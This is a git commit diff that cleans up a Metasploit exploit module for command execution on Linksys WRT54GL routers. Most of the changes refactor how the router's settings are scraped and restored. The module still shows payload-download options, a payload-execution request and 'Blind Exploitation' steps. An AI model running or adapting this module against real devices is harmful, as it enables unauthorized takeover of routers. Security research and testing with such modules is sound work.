first cleanup for linksys_wrt54gl_apply_exec
jvazquez-r7
parent
96b444c79e
commit
9a2f409974
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@ -70,13 +70,20 @@ class Metasploit3 < Msf::Exploit::Remote
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OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
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OptString.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration, (default: yes)', 'yes' ]),
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OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]),
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OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]),
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], self.class)
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end
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def grab_config(user,pass)
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def get_config(config, pattern)
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if config =~ /#{pattern}/
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return $1
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end
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return ""
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end
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def grab_config(user,pass)
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print_status("#{rhost}:#{rport} - Trying to download the original configuration")
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begin
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res = send_request_cgi({
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@ -100,290 +107,64 @@ class Metasploit3 < Msf::Exploit::Remote
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fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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if res.body =~ /<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>/
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if $1.nil?
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@now_proto_orig = ""
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else
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@now_proto_orig = $1
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end
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if @now_proto_orig !~ /dhcp/
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - We do not know if this module works with your configuration -> possible we overwrite your config and break this device!")
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end
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@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
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if @now_proto_orig !~ /dhcp/
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fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
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end
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if res.body =~ /<input\ type=hidden\ name=daylight_time\ value=(.*)>/
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if $1.nil?
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@daylight_time_orig = ""
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else
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@daylight_time_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>/
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if $1.nil?
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@lan_ipaddr_orig = ""
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else
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@lan_ipaddr_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>/
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if $1.nil?
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@wait_time_orig = ""
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else
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@wait_time_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>/
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if $1.nil?
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@need_reboot_orig = ""
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else
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@need_reboot_orig = $1
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end
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end
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if res.body =~ /var\ wan_proto\ =\ \'(.*)\'\;/
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if $1.nil?
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@wan_proto_orig = ""
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else
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@wan_proto_orig = $1
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end
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end
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if res.body =~ /onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>/
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if $1.nil?
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@lan_ipaddr_0_orig = ""
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else
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@lan_ipaddr_0_orig = $1
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end
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end
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if res.body =~ /\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name="lan_ipaddr_1">/
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if $1.nil?
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@lan_ipaddr_1_orig = ""
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else
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@lan_ipaddr_1_orig = $1
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end
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end
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if res.body =~ /\<INPUT\ class=num maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name="lan_ipaddr_2">/
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if $1.nil?
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@lan_ipaddr_2_orig = ""
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else
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@lan_ipaddr_2_orig = $1
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end
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end
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if res.body =~ /<INPUT class=num maxLength=3\ onBlur="valid_range\(this,1,254,'IP'\)\;Sel_SubMask\(this.form.lan_netmask,this.form\);"\ size=3\ value='(.*)'\ name="lan_ipaddr_3"><\/TD>/
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if $1.nil?
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@lan_ipaddr_3_orig = ""
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else
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@lan_ipaddr_3_orig = $1
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end
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end
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if res.body =~ /name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>/
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if $1.nil?
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@router_name_orig = ""
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else
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@router_name_orig = $1
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end
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end
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if res.body =~ /name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>/
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if $1.nil?
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@wan_domain_orig = ""
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else
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@wan_domain_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Host%20Name\"\)><\/FONT><\/TD>/
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if $1.nil?
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@wan_hostname_orig = ""
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else
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@wan_hostname_orig = $1
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end
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end
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if res.body =~ /<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\(this\)\ size=5\ value='(.*)'\ name="wan_mtu"><\/TD>/
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if $1.nil?
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@wan_mtu_orig = ""
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else
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@wan_mtu_orig = $1
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if @wan_mtu_orig.to_i > 1500
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@mtu_enable = "0"
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end
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end
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end
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if res.body =~ /<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>/
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if $1.nil?
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@ui_language_orig = ""
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else
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@ui_language_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=4\ onBlur=valid_range\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num/
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if $1.nil?
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@dhcp_lease_orig = ""
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else
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@dhcp_lease_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\)\;Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>/
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if $1.nil?
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@dhcp_num_orig = ""
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else
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@dhcp_num_orig = $1
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end
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end
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if res.body =~ /Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">/
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if $1.nil?
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@dhcp_start_orig = ""
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else
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@dhcp_start_orig = $1
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end
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end
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if res.body =~ /value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>/
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if $1.nil?
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@netmask_orig = ""
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else
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@netmask_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=wan_dns\ value=(.*)>/
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if $1.nil?
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@wan_dns_orig = ""
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else
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@wan_dns_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>/
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if $1.nil?
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@wan_dns0_0_orig = ""
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else
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@wan_dns0_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>/
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if $1.nil?
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@wan_dns0_1_orig = ""
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else
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@wan_dns0_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>/
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if $1.nil?
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@wan_dns0_2_orig = ""
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else
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@wan_dns0_2_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>/
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if $1.nil?
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@wan_dns0_3_orig = ""
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else
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@wan_dns0_3_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>/
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if $1.nil?
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@wan_dns1_0_orig = ""
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else
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@wan_dns1_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>/
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if $1.nil?
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@wan_dns1_1_orig = ""
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else
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@wan_dns1_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>/
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if $1.nil?
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@wan_dns1_2_orig = ""
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else
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@wan_dns1_2_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>/
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if $1.nil?
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@wan_dns1_3_orig = ""
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else
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@wan_dns1_3_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>/
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if $1.nil?
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@wan_dns2_0_orig = ""
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else
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@wan_dns2_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>/
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if $1.nil?
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@wan_dns2_1_orig = ""
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else
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@wan_dns2_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>/
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if $1.nil?
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@wan_dns2_2_orig = ""
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else
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@wan_dns2_2_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>/
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if $1.nil?
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@wan_dns2_3_orig = ""
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else
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@wan_dns2_3_orig = $1
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end
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end
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if res.body =~ /<input\ type=hidden\ name=wan_wins\ value=(.*)>/
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if $1.nil?
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@wan_wins_orig = ""
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else
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@wan_wins_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>/
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if $1.nil?
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@wan_wins_0_orig = ""
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else
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@wan_wins_0_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>/
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if $1.nil?
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@wan_wins_1_orig = ""
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else
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@wan_wins_1_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>/
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if $1.nil?
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@wan_wins_2_orig = ""
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else
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@wan_wins_2_orig = $1
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end
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end
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if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>/
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if $1.nil?
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@wan_wins_3_orig = ""
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else
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@wan_wins_3_orig = $1
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end
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@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
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@lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
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@wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
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@need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
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@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
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@lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
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@lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
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@lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
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@lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\(this,1,254,'IP'\)\;Sel_SubMask\(this.form.lan_netmask,this.form\);\"\ size=3\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
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@router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>")
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@wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>")
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@wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Host%20Name\"\)><\/FONT><\/TD>")
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@wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\(this\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
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if @wan_mtu_orig.to_i > 1500
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@mtu_enable = "0"
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end
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@ui_language_orig = "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>"
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@dhcp_lease_orig = "<INPUT\ maxLength=4\ onBlur=valid_range\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num"
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@dhcp_num_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\)\;Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>"
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@dhcp_start_orig = "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">"
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@netmask_orig = "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>"
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@wan_dns_orig = "<input\ type=hidden\ name=wan_dns\ value=(.*)>"
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@wan_dns0_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>"
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@wan_dns0_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>"
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@wan_dns0_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>"
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@wan_dns0_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>"
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@wan_dns1_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>"
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@wan_dns1_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>"
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@wan_dns1_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>"
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@wan_dns1_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>"
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@wan_dns2_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>"
|
||||
@wan_dns2_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>"
|
||||
@wan_dns2_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>"
|
||||
@wan_dns2_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>"
|
||||
@wan_wins_orig = "<input\ type=hidden\ name=wan_wins\ value=(.*)>"
|
||||
@wan_wins_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>"
|
||||
@wan_wins_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>"
|
||||
@wan_wins_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>"
|
||||
@wan_wins_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>"
|
||||
end
|
||||
|
||||
def restore_conf(user,pass,uri)
|
||||
|
||||
#we have used most parts of the original configuraion
|
||||
#just need to restore pppoe_username
|
||||
# we have used most parts of the original configuration
|
||||
# just need to restore pppoe_username
|
||||
cmd = @wan_hostname_orig.to_s
|
||||
print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")
|
||||
|
||||
##WARNING: restore of wan_hostname_orig not working!!!
|
||||
|
||||
# WARNING: restore of wan_hostname_orig not working!!!
|
||||
res = request(cmd,user,pass,uri)
|
||||
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
|
||||
end
|
||||
|
||||
#the device needs around 30 seconds to apply our current configuration
|
||||
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||||
select(nil, nil, nil, @timeout)
|
||||
|
|
@ -401,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'change_action' => "1",
|
||||
'submit_type' => "1",
|
||||
'action' => "Apply",
|
||||
'now_proto' => @now_proto_orig.to_s, #Todo: check if the injection also works with other settings
|
||||
'now_proto' => @now_proto_orig.to_s,
|
||||
'daylight_time' => @daylight_time_orig.to_s,
|
||||
'lan_ipaddr' => @lan_ipaddr_orig.to_s,
|
||||
'wait_time' => @wait_time_orig.to_s,
|
||||
|
|
@ -418,7 +199,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
|
||||
'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
|
||||
'lan_netmask' => "255.255.255.#{@netmask_orig}",
|
||||
'lan_proto' => @lan_proto_manual.to_s, #we have to configure this
|
||||
'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO']
|
||||
'dhcp_check' => "1",
|
||||
'dhcp_start' => @dhcp_start_orig.to_s,
|
||||
'dhcp_num' => @dhcp_num_orig.to_s,
|
||||
|
|
@ -498,10 +279,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = request(cmd,user,pass,uri)
|
||||
if (!res)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
restore_conf(user,pass,uri)
|
||||
restore_conf(user,pass,uri) if restore
|
||||
else
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
if restore == "yes"
|
||||
if restore
|
||||
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
||||
select(nil, nil, nil, @timeout)
|
||||
restore_conf(user,pass,uri)
|
||||
|
|
@ -602,7 +383,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#
|
||||
#reload original configuration
|
||||
#
|
||||
if restore == "yes"
|
||||
if restore
|
||||
restore_conf(user,pass,uri)
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue